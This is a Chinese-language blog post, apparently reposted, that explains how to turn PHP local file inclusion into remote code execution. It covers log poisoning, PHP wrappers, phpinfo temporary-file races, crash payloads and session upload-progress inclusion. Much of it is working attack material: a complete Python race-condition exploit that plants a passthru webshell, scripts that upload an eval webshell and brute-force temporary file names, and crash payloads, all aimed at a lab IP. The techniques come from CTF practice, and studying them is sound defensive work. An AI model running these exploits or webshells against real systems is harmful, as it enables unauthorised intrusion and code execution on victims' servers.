LFItoRCE利用总结

栏目: PHP · 发布时间: 5年前

内容简介:LFI不止可以来读取文件,还能用来RCE在多道CTF题目中都有LFItoRCE的非预期解,下面总结一下LFI的利用姿势

LFItoRCE利用总结

LFI不止可以来读取文件,还能用来RCE

在多道CTF题目中都有LFItoRCE的非预期解,下面总结一下LFI的利用姿势

/proc/self/environ

需要有 /proc/self/environ 的读取权限

如果可以读取,修改 User-Agentphp 代码,然后lfi点包含,实现rce

/proc/self/fd/1,2,3…

需要有 /proc/self/fd/1 的读取权限

类似于 /proc/self/environ ,不同是在 referer 或报错等写入php代码,然后lfi点包含,实现rce

php伪协议

LFItoRCE利用总结

php://filter

用来读文件 https://www.php.net/manual/zh/filters.php

不需要 allow_url_includeallow_url_fopen 开启

  • php://filter/read=convert.base64-encode/resource=

php://input

可以实现代码执行

需要 allow_url_include:on

data://

需要 allow_url_fopen , allow_url_include 均开启

data://text/plain,<?php phpinfo()?>
data:text/plain,<?php phpinfo()?>
data://text/plain;base64,PD9waHAgcGhwaW5mbygpPz4=
d·ata:text/plain;base64,PD9waHAgcGhwaW5mbygpPz4=

expect://

默认不开启,需要安装PECL package扩展

需要 allow_url_include 开启

expect://[command]

/var/log/…

ssh日志

需要有 /var/log/auth.log 的读取权限

如果目标机开启了ssh,可以通过包含ssh日志的方式来getshell

连接ssh时输入 ssh `<?php phpinfo(); ?>`@192.168.211.146 php代码便会保存在 /var/log/auth.log

然后lfi点包含,实现rce

apache日志

需要有 /var/log/apache2/... 的读取权限

包含 access.logerror.log 来rce

但log文件过大会超时返回500,利用失败

更多日志文件地址见: https://github.com/tennc/fuzzdb/blob/master/attack-payloads/lfi/common-unix-httpd-log-locations.txt

with phpinfo

PHP引擎对 enctype="multipart/form-data" 这种请求的处理过程如下

/tmp/php[w]{6}

构造一个html文件来发送上传文件的数据包

<form action="http://192.168.211.146/phpinfo.php" method="post"
enctype="multipart/form-data">
<label for="file">Filename:</label>
<input type="file" name="file" id="file" /> 
<br />
<input type="submit" name="submit" value="Submit" />
</form>

phpinfo 可以输出 $_FILES 信息,包括临时文件路径、名称

LFItoRCE利用总结

可以通过分块传输编码,发送大量数据来争取时间,在临时文件删除之前执行包含操作

LFItoRCE利用总结

LFItoRCE利用总结

LFItoRCE利用总结

https://insomniasec.com/downloads/publications/LFI%20With%20PHPInfo%20Assistance.pdf 中的exp:

#!/usr/bin/python
import sys
import threading
import socket
def setup(host, port):
    TAG="Security Test"
    PAYLOAD="""%sr
<?php $c=fopen('/tmp/g','w');fwrite($c,'<?php passthru($_GET["f"]);?>');?>r""" % TAG
    REQ1_DATA="""-----------------------------7dbff1ded0714r
Content-Disposition: form-data; name="dummyname"; filename="test.txt"r
Content-Type: text/plainr
r
%s
-----------------------------7dbff1ded0714--r""" % PAYLOAD
    padding="A" * 5000
    REQ1="""POST /phpinfo.php?a="""+padding+""" HTTP/1.1r
Cookie: PHPSESSID=q249llvfromc1or39t6tvnun42; othercookie="""+padding+"""r
HTTP_ACCEPT: """ + padding + """r
HTTP_USER_AGENT: """+padding+"""r
HTTP_ACCEPT_LANGUAGE: """+padding+"""r
HTTP_PRAGMA: """+padding+"""r
Content-Type: multipart/form-data; boundary=---------------------------7dbff1ded0714r
Content-Length: %sr
Host: %sr
r
%s""" %(len(REQ1_DATA),host,REQ1_DATA)
    #modify this to suit the LFI script
#     LFIREQ="""GET /lfi.php?file=%s%%00 HTTP/1.1r
# User-Agent: Mozilla/4.0r
# Proxy-Connection: Keep-Aliver
# Host: %sr
# r
# r
# """
    LFIREQ="""GET /lfi.php?file=%s HTTP/1.1r
User-Agent: Mozilla/4.0r
Proxy-Connection: Keep-Aliver
Host: %sr
r
r
"""
    return (REQ1, TAG, LFIREQ)
def phpInfoLFI(host, port, phpinforeq, offset, lfireq, tag):
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s2 = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.connect((host, port))
    s2.connect((host, port))
    s.send(phpinforeq)
    d = ""
    while len(d) < offset:
        d += s.recv(offset)
    try:
        i = d.index("[tmp_name] =>")
        fn = d[i+17:i+31]
        # print fn
    except ValueError:
        return None

    s2.send(lfireq % (fn, host))
    d = s2.recv(4096)
    s.close()
    s2.close()
    if d.find(tag) != -1:
        return fn

counter=0
class ThreadWorker(threading.Thread):
    def __init__(self, e, l, m, *args):
        threading.Thread.__init__(self)
        self.event = e
        self.lock = l
        self.maxattempts = m
        self.args = args
    def run(self):
        global counter
        while not self.event.is_set():
            with self.lock:
                if counter >= self.maxattempts:
                    return
                counter+=1
            try:
                x = phpInfoLFI(*self.args)
                if self.event.is_set():
                    break
                if x:
                    print "nGot it! Shell created in /tmp/g"
                    self.event.set()
            except socket.error:
                return
def getOffset(host, port, phpinforeq):
    """Gets offset of tmp_name in the php output"""
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.connect((host,port))
    s.send(phpinforeq)
    d = ""
    while True:
        i = s.recv(4096)
        d+=i
        if i == "":
            break
        # detect the final chunk
        if i.endswith("0rnrn"):
            break
    s.close()
    i = d.find("[tmp_name] =>")
    if i == -1:
        raise ValueError("No php tmp_name in phpinfo output")
    print "found %s at %i" % (d[i:i+10],i)
    # padded up a bit
    return i+256
def main():
    print "LFI With PHPInfo()"
    print "-=" * 30
    if len(sys.argv) < 2:
        print "Usage: %s host [port] [threads]" % sys.argv[0]
        sys.exit(1)
    try:
        host = socket.gethostbyname(sys.argv[1])
    except socket.error, e:
        print "Error with hostname %s: %s" % (sys.argv[1], e)
        sys.exit(1)

    port=80
    try:
        port = int(sys.argv[2])
    except IndexError:
        pass
    except ValueError, e:
        print "Error with port %d: %s" % (sys.argv[2], e)
        sys.exit(1)

    poolsz=10
    try:
        poolsz = int(sys.argv[3])
    except IndexError:
        pass
    except ValueError, e:
        print "Error with poolsz %d: %s" % (sys.argv[3], e)
        sys.exit(1)

    print "Getting initial offset...",
    reqphp, tag, reqlfi = setup(host, port)
    offset = getOffset(host, port, reqphp)
    sys.stdout.flush()
    maxattempts = 1000
    e = threading.Event()
    l = threading.Lock()
    print "Spawning worker pool (%d)..." % poolsz
    sys.stdout.flush()
    tp = []
    for i in range(0,poolsz):
        tp.append(ThreadWorker(e,l,maxattempts, host, port, reqphp, offset, reqlfi, tag))
    for t in tp:
        t.start()
    try:
        while not e.wait(1):
            if e.is_set():
                break
            with l:
                sys.stdout.write( "r% 4d / % 4d" % (counter, maxattempts))
                sys.stdout.flush()
                if counter >= maxattempts:
                    break
        print
        if e.is_set():
            print "Woot! m/"
        else:
            print ":("
    except KeyboardInterrupt:
        print "nTelling threads to shutdown..."
        e.set()
    print "Shuttin' down..."
    for t in tp:
        t.join()

if __name__=="__main__":
    main()

with php崩溃

php Segfault

向PHP发送含有文件区块的数据包时,让PHP异常崩溃退出,POST的临时文件就会被保留

1. php < 7.2

  • php://filter/string.strip_tags/resource=/etc/passwd

2. php7 老版本通杀

  • php://filter/convert.quoted-printable-encode/resource=data://,%bfAAAAAAAAAAAAAAAAAAAAAAA%ff%ff%ff%ff%ff%ff%ff%ffAAAAAAAAAAAAAAAAAAAAAAAA

更新之后的版本已经修复,不会再使php崩溃了,这里我使用老版本来测试可以利用

包含上面两条payload可以使php崩溃,请求中同时存在一个上传文件的请求则会使临时文件保存,然后爆破临时文件名,包含来rce

payload1测试:

LFItoRCE利用总结

LFItoRCE利用总结

LFItoRCE利用总结

payload2测试:

LFItoRCE利用总结

exp:

# -*- coding: utf-8 -*-
# php崩溃 生成大量临时文件

import requests
import string

def upload_file(url, file_content):
    files = {'file': ('daolgts.jpg', file_content, 'image/jpeg')}
    try:
        requests.post(url, files=files)
    except Exception as e:
        print e

charset = string.digits+string.letters
webshell = '<?php eval($_REQUEST[daolgts]);?>'.encode("base64").strip()
file_content = '<?php if(file_put_contents("/tmp/daolgts", base64_decode("%s"))){echo "success";}?>' % (webshell)

url="http://192.168.211.146/lfi.php"
parameter="file"
payload1="php://filter/string.strip_tags/resource=/etc/passwd"
payload2=r"php://filter/convert.quoted-printable-encode/resource=data://,%bfAAAAAAAAAAAAAAAAAAAAAAA%ff%ff%ff%ff%ff%ff%ff%ffAAAAAAAAAAAAAAAAAAAAAAAA"
lfi_url = url+"?"+parameter+"="+payload1
length = 6
times = len(charset) ** (length / 2)
for i in xrange(times):
    print "[+] %d / %d" % (i, times)
    upload_file(lfi_url, file_content)

爆破tmp文件名

然后爆破临时文件名来包含

# -*- coding: utf-8 -*-
import requests
import string

charset = string.digits + string.letters
base_url="http://192.168.211.146/lfi.php"
parameter="file"

for i in charset:
    for j in charset:
        for k in charset:
            for l in charset:
                for m in charset:
                    for n in charset:
                        filename = i + j + k + l + m + n
                        url = base_url+"?"+parameter+"=/tmp/php"+filename
                        print url
                        try:
                            response = requests.get(url)
                            if 'success' in response.content:
                                print "[+] Include success!"
                                print "url:"+url
                                exit()
                        except Exception as e:
                            print e

session

如果 session.upload_progress.enabled=On 开启,就可以包含session来getshell,并且这个参数在php中是默认开启的

https://php.net/manual/zh/session.upload-progress.php

当一个上传在处理中,同时POST一个与INI中设置的 session.upload_progress.name 同名变量时,上传进度可以在 $_SESSION 中获得。 当PHP检测到这种POST请求时,它会在 $_SESSION 中添加一组数据, 索引是 session.upload_progress.prefixsession.upload_progress.name 连接在一起的值。

也就是说session中会添加 session.upload_progress.prefix + $_POST[ini_get['session.upload_progress.name']] ,而 session.upload_progress.name 是可控的,所以就可以在session写入php代码,然后包含session文件来rce

session.upload_progress.prefixsession.upload_progress.name 还有session的储存位置 session.save_path 都能在phpinfo中获取,默认为:

LFItoRCE利用总结

同时能看到 session.upload_progress.cleanup 是默认开启的,这个配置就是POST请求结束后会把session清空,所以session的存在时间很短,需要条件竞争来读取

下面测试一下,构造一个html来发包

<form action="http://192.168.211.146/phpinfo.php" method="POST" enctype="multipart/form-data">
 <input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="<?php phpinfo(); ?>" />
 <input type="file" name="file1" />
 <input type="file" name="file2" />
 <input type="submit" />
</form>

在数据包里加入 PHPSESSION ,才能生成session文件

burp不断发包,成功包含

LFItoRCE利用总结

exp:

import requests
import threading

webshell = '<?php eval($_REQUEST[daolgts]);?>'.encode("base64").strip()
file_content = '<?php if(file_put_contents("/tmp/daolgts", base64_decode("%s"))){echo "success";}?>' % (webshell)

url='http://192.168.211.146/lfi.php'
r=requests.session()

def POST():
    while True:
        file={
            "upload":('daolgts.jpg', file_content, 'image/jpeg')
        }
        data={
            "PHP_SESSION_UPLOAD_PROGRESS":file_content
        }
        headers={
            "Cookie":'PHPSESSID=123456'
        }
        r.post(url,files=file,headers=headers,data=data)

def READ():
    while True:
        event.wait()
        t=r.get("http://192.168.211.146/lfi.php?file=/var/lib/php/sessions/sess_123456")
        if 'success' not in t.text:
            print('[+]retry')
        else:
            print(t.text)
            event.clear()
event=threading.Event()
event.set()
threading.Thread(target=POST,args=()).start()
threading.Thread(target=POST,args=()).start()
threading.Thread(target=POST,args=()).start()
threading.Thread(target=READ,args=()).start()
threading.Thread(target=READ,args=()).start()
threading.Thread(target=READ,args=()).start()

LFI自动化利用工具

会自动扫描利用以下漏洞,并且获取到shell

  • /proc/self/environ
  • php://filter
  • php://input
  • /proc/self/fd
  • access log
  • phpinfo
  • data://
  • expect://

Referer


以上所述就是小编给大家介绍的《LFItoRCE利用总结》,希望对大家有所帮助,如果大家有任何疑问请给我留言,小编会及时回复大家的。在此也非常感谢大家对 码农网 的支持!

查看所有标签

猜你喜欢:

本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们

Beginning ARKit for iPhone and iPad

Beginning ARKit for iPhone and iPad

Wallace Wang / Apress / 2018-11-5 / USD 39.99

Explore how to use ARKit to create iOS apps and learn the basics of augmented reality while diving into ARKit specific topics. This book reveals how augmented reality allows you to view the screen on ......一起来看看 《Beginning ARKit for iPhone and iPad》 这本书的介绍吧!

HTML 压缩/解压工具
HTML 压缩/解压工具

在线压缩/解压 HTML 代码

Base64 编码/解码
Base64 编码/解码

Base64 编码/解码

URL 编码/解码
URL 编码/解码

URL 编码/解码